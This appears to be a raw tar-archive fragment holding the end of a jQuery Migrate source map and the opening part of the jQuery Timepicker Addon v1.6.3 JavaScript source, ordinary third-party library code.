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"}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/jquery-ui-timepicker-addon.js���������������������������������������������������������0000666�����������������00000231213�15172447206�0015103 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! jQuery Timepicker Addon - v1.6.3 - 2016-04-20 * http://trentrichardson.com/examples/timepicker * Copyright (c) 2016 Trent Richardson; Licensed MIT */ (function (factory) { if (typeof define === 'function' && define.amd) { define(['jquery', 'jquery-ui'], factory); } else { factory(jQuery); } }(function ($) { /* * Lets not redefine timepicker, Prevent "Uncaught RangeError: Maximum call stack size exceeded" */ $.ui.timepicker = $.ui.timepicker || {}; if ($.ui.timepicker.version) { return; } /* * Extend jQueryUI, get it started with our version number */ $.extend($.ui, { timepicker: { version: "1.6.3" } }); /* * Timepicker manager. * Use the singleton instance of this class, $.timepicker, to interact with the time picker. * Settings for (groups of) time pickers are maintained in an instance object, * allowing multiple different settings on the same page. */ var Timepicker = function () { this.regional = []; // Available regional settings, indexed by language code this.regional[''] = { // Default regional settings currentText: 'Now', closeText: 'Done', amNames: ['AM', 'A'], pmNames: ['PM', 'P'], timeFormat: 'HH:mm', timeSuffix: '', timeOnlyTitle: 'Choose Time', timeText: 'Time', hourText: 'Hour', minuteText: 'Minute', secondText: 'Second', millisecText: 'Millisecond', microsecText: 'Microsecond', timezoneText: 'Time Zone', isRTL: false }; this._defaults = { // Global defaults for all the datetime picker instances showButtonPanel: true, timeOnly: false, timeOnlyShowDate: false, showHour: null, showMinute: null, showSecond: null, showMillisec: null, showMicrosec: null, showTimezone: null, showTime: true, stepHour: 1, stepMinute: 1, stepSecond: 1, stepMillisec: 1, stepMicrosec: 1, hour: 0, minute: 0, second: 0, millisec: 0, microsec: 0, timezone: null, hourMin: 0, minuteMin: 0, secondMin: 0, millisecMin: 0, microsecMin: 0, hourMax: 23, minuteMax: 59, secondMax: 59, millisecMax: 999, microsecMax: 999, minDateTime: null, maxDateTime: null, maxTime: null, minTime: null, onSelect: null, hourGrid: 0, minuteGrid: 0, secondGrid: 0, millisecGrid: 0, microsecGrid: 0, alwaysSetTime: true, separator: ' ', altFieldTimeOnly: true, altTimeFormat: null, altSeparator: null, altTimeSuffix: null, altRedirectFocus: true, pickerTimeFormat: null, pickerTimeSuffix: null, showTimepicker: true, timezoneList: null, addSliderAccess: false, sliderAccessArgs: null, controlType: 'slider', oneLine: false, defaultValue: null, parse: 'strict', afterInject: null }; $.extend(this._defaults, this.regional['']); }; $.extend(Timepicker.prototype, { $input: null, $altInput: null, $timeObj: null, inst: null, hour_slider: null, minute_slider: null, second_slider: null, millisec_slider: null, microsec_slider: null, timezone_select: null, maxTime: null, minTime: null, hour: 0, minute: 0, second: 0, millisec: 0, microsec: 0, timezone: null, hourMinOriginal: null, minuteMinOriginal: null, secondMinOriginal: null, millisecMinOriginal: null, microsecMinOriginal: null, hourMaxOriginal: null, minuteMaxOriginal: null, secondMaxOriginal: null, millisecMaxOriginal: null, microsecMaxOriginal: null, ampm: '', formattedDate: '', formattedTime: '', formattedDateTime: '', timezoneList: null, units: ['hour', 'minute', 'second', 'millisec', 'microsec'], support: {}, control: null, /* * Override the default settings for all instances of the time picker. * @param {Object} settings object - the new settings to use as defaults (anonymous object) * @return {Object} the manager object */ setDefaults: function (settings) { extendRemove(this._defaults, settings || {}); return this; }, /* * Create a new Timepicker instance */ _newInst: function ($input, opts) { var tp_inst = new Timepicker(), inlineSettings = {}, fns = {}, overrides, i; for (var attrName in this._defaults) { if (this._defaults.hasOwnProperty(attrName)) { var attrValue = $input.attr('time:' + attrName); if (attrValue) { try { inlineSettings[attrName] = eval(attrValue); } catch (err) { inlineSettings[attrName] = attrValue; } } } } overrides = { beforeShow: function (input, dp_inst) { if ($.isFunction(tp_inst._defaults.evnts.beforeShow)) { return tp_inst._defaults.evnts.beforeShow.call($input[0], input, dp_inst, tp_inst); } }, onChangeMonthYear: function (year, month, dp_inst) { // Update the time as well : this prevents the time from disappearing from the $input field. // tp_inst._updateDateTime(dp_inst); if ($.isFunction(tp_inst._defaults.evnts.onChangeMonthYear)) { tp_inst._defaults.evnts.onChangeMonthYear.call($input[0], year, month, dp_inst, tp_inst); } }, onClose: function (dateText, dp_inst) { if (tp_inst.timeDefined === true && $input.val() !== '') { tp_inst._updateDateTime(dp_inst); } if ($.isFunction(tp_inst._defaults.evnts.onClose)) { tp_inst._defaults.evnts.onClose.call($input[0], dateText, dp_inst, tp_inst); } } }; for (i in overrides) { if (overrides.hasOwnProperty(i)) { fns[i] = opts[i] || this._defaults[i] || null; } } tp_inst._defaults = $.extend({}, this._defaults, inlineSettings, opts, overrides, { evnts: fns, timepicker: tp_inst // add timepicker as a property of datepicker: $.datepicker._get(dp_inst, 'timepicker'); }); tp_inst.amNames = $.map(tp_inst._defaults.amNames, function (val) { return val.toUpperCase(); }); tp_inst.pmNames = $.map(tp_inst._defaults.pmNames, function (val) { return val.toUpperCase(); }); // detect which units are supported tp_inst.support = detectSupport( tp_inst._defaults.timeFormat + (tp_inst._defaults.pickerTimeFormat ? tp_inst._defaults.pickerTimeFormat : '') + (tp_inst._defaults.altTimeFormat ? tp_inst._defaults.altTimeFormat : '')); // controlType is string - key to our this._controls if (typeof(tp_inst._defaults.controlType) === 'string') { if (tp_inst._defaults.controlType === 'slider' && typeof($.ui.slider) === 'undefined') { tp_inst._defaults.controlType = 'select'; } tp_inst.control = tp_inst._controls[tp_inst._defaults.controlType]; } // controlType is an object and must implement create, options, value methods else { tp_inst.control = tp_inst._defaults.controlType; } // prep the timezone options var timezoneList = [-720, -660, -600, -570, -540, -480, -420, -360, -300, -270, -240, -210, -180, -120, -60, 0, 60, 120, 180, 210, 240, 270, 300, 330, 345, 360, 390, 420, 480, 525, 540, 570, 600, 630, 660, 690, 720, 765, 780, 840]; if (tp_inst._defaults.timezoneList !== null) { timezoneList = tp_inst._defaults.timezoneList; } var tzl = timezoneList.length, tzi = 0, tzv = null; if (tzl > 0 && typeof timezoneList[0] !== 'object') { for (; tzi < tzl; tzi++) { tzv = timezoneList[tzi]; timezoneList[tzi] = { value: tzv, label: $.timepicker.timezoneOffsetString(tzv, tp_inst.support.iso8601) }; } } tp_inst._defaults.timezoneList = timezoneList; // set the default units tp_inst.timezone = tp_inst._defaults.timezone !== null ? $.timepicker.timezoneOffsetNumber(tp_inst._defaults.timezone) : ((new Date()).getTimezoneOffset() * -1); tp_inst.hour = tp_inst._defaults.hour < tp_inst._defaults.hourMin ? tp_inst._defaults.hourMin : tp_inst._defaults.hour > tp_inst._defaults.hourMax ? tp_inst._defaults.hourMax : tp_inst._defaults.hour; tp_inst.minute = tp_inst._defaults.minute < tp_inst._defaults.minuteMin ? tp_inst._defaults.minuteMin : tp_inst._defaults.minute > tp_inst._defaults.minuteMax ? tp_inst._defaults.minuteMax : tp_inst._defaults.minute; tp_inst.second = tp_inst._defaults.second < tp_inst._defaults.secondMin ? tp_inst._defaults.secondMin : tp_inst._defaults.second > tp_inst._defaults.secondMax ? tp_inst._defaults.secondMax : tp_inst._defaults.second; tp_inst.millisec = tp_inst._defaults.millisec < tp_inst._defaults.millisecMin ? tp_inst._defaults.millisecMin : tp_inst._defaults.millisec > tp_inst._defaults.millisecMax ? tp_inst._defaults.millisecMax : tp_inst._defaults.millisec; tp_inst.microsec = tp_inst._defaults.microsec < tp_inst._defaults.microsecMin ? tp_inst._defaults.microsecMin : tp_inst._defaults.microsec > tp_inst._defaults.microsecMax ? tp_inst._defaults.microsecMax : tp_inst._defaults.microsec; tp_inst.ampm = ''; tp_inst.$input = $input; if (tp_inst._defaults.altField) { tp_inst.$altInput = $(tp_inst._defaults.altField); if (tp_inst._defaults.altRedirectFocus === true) { tp_inst.$altInput.css({ cursor: 'pointer' }).focus(function () { $input.trigger("focus"); }); } } if (tp_inst._defaults.minDate === 0 || tp_inst._defaults.minDateTime === 0) { tp_inst._defaults.minDate = new Date(); } if (tp_inst._defaults.maxDate === 0 || tp_inst._defaults.maxDateTime === 0) { tp_inst._defaults.maxDate = new Date(); } // datepicker needs minDate/maxDate, timepicker needs minDateTime/maxDateTime.. if (tp_inst._defaults.minDate !== undefined && tp_inst._defaults.minDate instanceof Date) { tp_inst._defaults.minDateTime = new Date(tp_inst._defaults.minDate.getTime()); } if (tp_inst._defaults.minDateTime !== undefined && tp_inst._defaults.minDateTime instanceof Date) { tp_inst._defaults.minDate = new Date(tp_inst._defaults.minDateTime.getTime()); } if (tp_inst._defaults.maxDate !== undefined && tp_inst._defaults.maxDate instanceof Date) { tp_inst._defaults.maxDateTime = new Date(tp_inst._defaults.maxDate.getTime()); } if (tp_inst._defaults.maxDateTime !== undefined && tp_inst._defaults.maxDateTime instanceof Date) { tp_inst._defaults.maxDate = new Date(tp_inst._defaults.maxDateTime.getTime()); } tp_inst.$input.bind('focus', function () { tp_inst._onFocus(); }); return tp_inst; }, /* * add our sliders to the calendar */ _addTimePicker: function (dp_inst) { var currDT = $.trim((this.$altInput && this._defaults.altFieldTimeOnly) ? this.$input.val() + ' ' + this.$altInput.val() : this.$input.val()); this.timeDefined = this._parseTime(currDT); this._limitMinMaxDateTime(dp_inst, false); this._injectTimePicker(); this._afterInject(); }, /* * parse the time string from input value or _setTime */ _parseTime: function (timeString, withDate) { if (!this.inst) { this.inst 